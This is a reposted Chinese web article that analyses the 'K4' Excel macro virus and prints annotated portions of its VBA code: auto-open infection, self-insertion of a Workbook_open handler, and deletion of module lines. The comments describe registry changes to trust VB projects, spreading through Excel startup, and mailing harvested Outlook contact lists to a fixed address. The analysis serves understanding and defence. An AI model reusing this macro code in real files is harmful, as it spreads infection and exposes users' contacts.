新型K4宏病毒代码解析报告
发布时间:2022-05-05 09:42:02 所属栏目:安全 来源:互联网
导读:最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为: 以ToDOLE模块中的代码,在虚拟机XP+Excel2003下跟踪并注释了关键代码: 病毒行为主过程
最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为: 以ToDOLE模块中的代码,在虚拟机XP+Excel2003下跟踪并注释了关键代码: '病毒行为主过程 Private Sub auto_open() Application.DisplayAlerts = False If ThisWorkbook.Path <> Application.StartupPath Then Application.ScreenUpdating = False '删除.xls文件里的ThisWorkBook表单,以便写入带毒宏代码; Call delete_this_wk '复制带毒宏代码 Call copytoworkbook '如果当前文件已经感染,则保存。 If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook ThisWorkbook.Save Application.ScreenUpdating = True End If End Sub '以下过程向ThisWorkbook写入一段激活带毒代码; Private Sub copytoworkbook() Const DQUOTE = """" With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule .InsertLines 1, "Public WithEvents xx As Application" .InsertLines 2, "Private Sub Workbook_open()" .InsertLines 3, "Set xx = Application" .InsertLines 4, "On Error Resume Next" .InsertLines 5, "Application.DisplayAlerts = False" .InsertLines 6, "Call do_what" .InsertLines 7, "End Sub" .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)" .InsertLines 9, "On Error Resume Next" .InsertLines 10, "wb.VBProject.References.AddFromGuid _" .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _" .InsertLines 12, "Major:=5, Minor:=3" .InsertLines 13, "Application.ScreenUpdating = False" .InsertLines 14, "Application.DisplayAlerts = False" .InsertLines 15, "copystart wb" .InsertLines 16, "Application.ScreenUpdating = True" .InsertLines 17, "End Sub" End With End Sub '删除临时工作表过程 Private Sub delete_this_wk() Dim VBProj As VBIDE.VBProject Dim VBComp As VBIDE.VBComponent Dim CodeMod As VBIDE.CodeModule Set VBProj = ThisWorkbook.VBProject Set VBComp = VBProj.VBComponents("ThisWorkbook") Set CodeMod = VBComp.CodeModule With CodeMod .DeleteLines 1, .CountOfLines End With End Sub '病毒的主要行为框架 Function do_what() If ThisWorkbook.Path <> Application.StartupPath Then '检测并当前打开xls文件时的状态,并初始化一些准备工作。 RestoreAfterOpen '通过修改注册信任VB项,为下面的感染提供可能性。 Call OpenDoor '把带毒模块写入Excel的自动启动项目,实现感染传播 Call Microsofthobby '病毒的主体行为(大致是收集outlook的用户邮件列表并发送到指定邮箱里) '如果已经感染过,就退出 If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function End Function '把'k4.xls'带毒模块附加进每个打开的xls文件里。 (编辑:宁德站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
站长推荐